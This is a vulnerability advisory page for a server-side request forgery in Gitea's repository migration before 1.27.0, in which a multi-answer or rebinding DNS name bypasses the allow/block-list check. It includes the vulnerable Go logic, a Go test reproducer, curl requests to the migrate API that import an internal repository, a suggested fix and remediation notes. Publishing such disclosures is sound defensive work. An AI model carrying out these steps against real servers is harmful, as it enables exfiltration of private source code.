Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Network API exploited by authenticated low-privilege user; attacker controls DNS so AC:L; only confidentiality impact via internal repository exfiltration, no integrity or availability effect.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
2DescriptionCVE.org
Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
Details
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}This means a hostname resolving to both:
- an allowed public IP, e.g.
1.2.3.4 - a blocked internal IP, e.g.
127.0.0.1
passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
PoC
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fdusing Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1])is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])is accepted.
Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}To reproduce end-to-end:
- Run Gitea with repository migration enabled and
ALLOW_LOCALNETWORKS = false. - Create a normal non-admin user that can create repositories.
- Run an internal Git HTTP service reachable only from the Gitea server, for example on
127.0.0.1:18082. - Configure an attacker-controlled hostname so that DNS can return both a public address and
127.0.0.1, or can return a public address during Gitea's pre-flight validation and127.0.0.1during the later git clone. - Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'Expected direct result:
{"message":"You can not import from disallowed hosts."}- Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if any resolved IP is blocked
- require all resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and
git clone
For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}AnalysisAI
Server-side request forgery in Gitea's repository migration feature allows authenticated low-privilege users to bypass the SSRF allow/block-list filter by supplying an attacker-controlled DNS hostname that returns both a permitted public IP and a blocked private or loopback IP. Because the pre-flight validation accepts the hostname if any single resolved IP is permitted (OR logic), and because the subsequent git clone --mirror subprocess performs an independent DNS resolution with no binding to the validated IP set, an attacker can cause Gitea to connect to internal-only Git services and exfiltrate their contents into an attacker-controlled repository. No public exploit identified at time of analysis, but a functional proof-of-concept reproducer is included in the advisory and has been confirmed by the reporter against a specific Gitea commit.
Technical ContextAI
The vulnerability resides in services/migrations/migrate.go within the Gitea Go codebase (pkg:go/code.gitea.io/gitea). The root cause class is CWE-200 (Information Exposure), compounded by a DNS Time-Of-Check Time-Of-Use (TOCTOU) race: the allow/block-list check resolves the migration hostname once using net.LookupIP, then iterates the result with ipAllowed = ipAllowed || allowList.MatchIPAddr(addr). OR semantics mean a single whitelisted IP in a multi-answer response causes the entire check to pass. The git clone --mirror subprocess invoked by MigrateRepositoryGitData / gitrepo.CloneExternalRepo performs its own OS-level DNS resolution without reference to the already-validated IP set, making the validation window and the clone window temporally decoupled. An attacker-controlled authoritative DNS server can serve different answers across those two resolution events (DNS rebinding) or simply serve a multi-A response containing one public IP and one private IP simultaneously. CPE: pkg:go/code.gitea.io_gitea, affected range < 1.27.0.
RemediationAI
Vendor-released patch: Gitea v1.27.0, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The fix changes the allow/block-list logic to use AND semantics so that all resolved IPs must be permitted and any blocked IP causes immediate rejection, closing the multi-answer bypass. Until upgrading is possible, the most impactful compensating control is restricting repository migration creation to administrator accounts only, removing the capability from low-privilege users via Gitea's admin panel - this eliminates the attack surface entirely for untrusted users but may disrupt self-service migration workflows. Alternatively, disabling repository migration entirely (setting ALLOW_MIGRATIONS = false in app.ini) eliminates the vulnerable feature at the cost of all migration functionality. Simply enabling strict block-lists without the code fix is insufficient because the OR-logic bypass remains exploitable regardless of block-list contents.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58169
GHSA-h2x6-g7q6-344v